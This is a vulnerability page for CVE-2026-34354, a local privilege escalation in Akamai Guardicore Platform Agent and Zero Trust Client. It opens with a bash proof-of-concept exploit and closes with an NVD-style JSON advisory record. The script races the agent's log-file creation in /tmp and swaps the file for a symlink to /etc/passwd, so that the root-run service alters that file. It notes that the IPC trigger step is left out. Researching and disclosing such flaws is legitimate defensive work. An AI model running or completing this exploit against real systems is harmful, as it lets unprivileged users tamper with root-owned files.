CVE-2026-34354

#!/bin/bash # PoC for CVE-2026-34354: TOCTOU Race Condition in Akamai Guardicore # This script attempts to exploit the HandleSaveLogs vulnerability. TARGET_FILE="/etc/passwd" LOG_FILE_PATTERN="/tmp/gpa_log_*" echo "[*] Starting exploit for CVE-2026-34354..." # Monitor /tmp for the log file creation and race to symlink it while true; do # Find the recently created log file (implementation depends on exact timing) LOG_FILE=$(ls -t $LOG_FILE_PATTERN 2>/dev/null | head -n 1) if [ -n "$LOG_FILE" ]; then echo "[+] Found log file: $LOG_FILE" # Remove the file and create a symlink to the target rm -f "$LOG_FILE" ln -s "$TARGET_FILE" "$LOG_FILE" echo "[+] Symlink created: $LOG_FILE -> $TARGET_FILE" # Trigger the IPC message to save logs (this step requires knowing the IPC protocol) # For demonstration, we assume the event is triggered automatically or by another process echo "[*] Waiting for the GPA service to write to the symlink..." sleep 2 if [ -L "$LOG_FILE" ]; then echo "[!] Exploit attempt finished. Check if $TARGET_FILE is modified." break fi fi done

{"cve": {"id": "CVE-2026-34354", "sourceIdentifier": "[email protected]", "published": "2026-05-08T16:16:10.510", "lastModified": "2026-05-08T16:16:10.510", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Akamai Guardicore Platform Agent (GPA) and Zero Trust Client on Linux and macOS allow TOCTOU-based local privilege escalation. The GPA service creates an IPC socket in the world-writable /tmp directory. It accepts unauthenticated IPC control messages. This enables a TOCTOU vulnerability in the HandleSaveLogs() function of the GPA service, by creating a log file and manipulating it into a symlink that points to the targeted path; this can allow an unprivileged local user to make arbitrary root-owned files world-writable. In addition, a diagnostic collection tool (gimmelogs) running with root privileges was vulnerable to command injection from the dbstore, offering a second privilege escalation vector. (On Windows, gimmelogs does not have command injection but does allow writing a ZIP archive to an unintended location.) This affects Akamai Guardicore Platform Agent 7.0 through 7.3.1 and Akamai Zero Trust Client 6.0 through 6.1.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.4, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-367"}]}], "references": [{"url": "https://www.akamai.com/blog/security-research/advisory-cve-2026-34354-guardicore-local-privilege-escalation", "source": "[email protected]"}]}}